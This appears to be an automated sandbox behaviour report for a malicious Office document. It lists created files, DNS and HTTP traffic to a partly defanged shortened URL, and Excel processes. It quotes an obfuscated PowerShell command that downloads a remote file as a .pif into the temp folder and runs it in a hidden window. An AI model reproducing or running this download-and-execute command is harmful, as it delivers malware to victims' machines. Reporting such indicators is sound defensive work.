Technical Information
Malicious functions
Downloads and executes
- http://bi#.ly/2pic6zi as %temp%\987654.pif
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{3b005015-a61a-440c-877a-ad2fd08bff27}.tmp
Network activity
TCP
HTTP GET requests
- http://bi#.ly/2PIc6zi
UDP
- DNS ASK bi#.ly
- DNS ASK te##.adsaca.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bi#.ly/2PIc6zi ” , ”$ENv:teMp\987654.pif” ) ; stARt ”$ENv:tEMP\987654.pif”' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
